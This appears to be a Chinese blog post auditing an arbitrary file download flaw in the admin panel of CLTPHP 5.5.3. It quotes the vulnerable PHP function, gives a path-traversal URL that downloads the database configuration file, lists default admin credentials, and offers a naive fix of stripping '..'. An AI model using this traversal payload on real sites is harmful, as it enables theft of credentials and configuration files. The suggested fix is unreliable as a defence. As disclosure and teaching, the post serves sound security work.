【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析

 

0x00 环境准备

CLTPHP官网:http://www.cltphp.com

网站源码版本:CLTPHP内容管理系统5.5.3版本

程序源码下载:https://gitee.com/chichu/cltphp

默认后台地址: http://127.0.0.1/admin/login/index.html

默认账号密码: 后台登录名:admin  密码:admin123

测试网站首页:

 

0x01 代码分析

1、/app/admin/controller/Database.php  第203-219行:

  1. public function downFile() {  
  2.     $file = $this->request->param('file');  
  3.     $type = $this->request->param('type');  
  4.     if (empty($file) || empty($type) || !in_array($type, array("zip", "sql"))) {  
  5.         $this->error("下载地址不存在");  
  6.     }  
  7.     $path = array("zip" => $this->datadir."zipdata/", "sql" => $this->datadir);  
  8.     $filePath = $path[$type] . $file;  
  9.     if (!file_exists($filePath)) {  
  10. 10.         $this->error("该文件不存在,可能是被删除");  
  11. 11.     }  
  12. 12.     $filename = basename($filePath);  
  13. 13.     header("Content-type: application/octet-stream");  
  14. 14.     header('Content-Disposition: attachment; filename="' . $filename . '"');  
  15. 15.     header("Content-Length: " . filesize($filePath));  
  16. 16.     readfile($filePath);  

17. }  

       在这段函数中,参数file未经任何处理,直接进行参数拼接,然后下载,导致程序在实现上存在任意文件下载漏洞,可以构造参数下载服务器任意文件,如脚本代码,服务及系统配置文件等;可用得到的代码进一步代码审计,得到更多可利用漏洞。

0x02 漏洞利用

1、登录网站后台,构造url参数下载网站配置文件:

http://127.0.0.1/admin/Database/downFile.html?type=sql&file=..\\..\\app\\database.php

2、成功下载数据库配置文件,获取敏感信息内容

 

0x03 修复建议

1、在下载前对传入的参数进行过滤,直接将..替换成空,就可以简单实现防范的目的

2、最好还是可以对待下载文件类型进行二次检查,判断是否允许下载类型。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

 

猜你喜欢

转载自www.cnblogs.com/xiaozi/p/10053117.html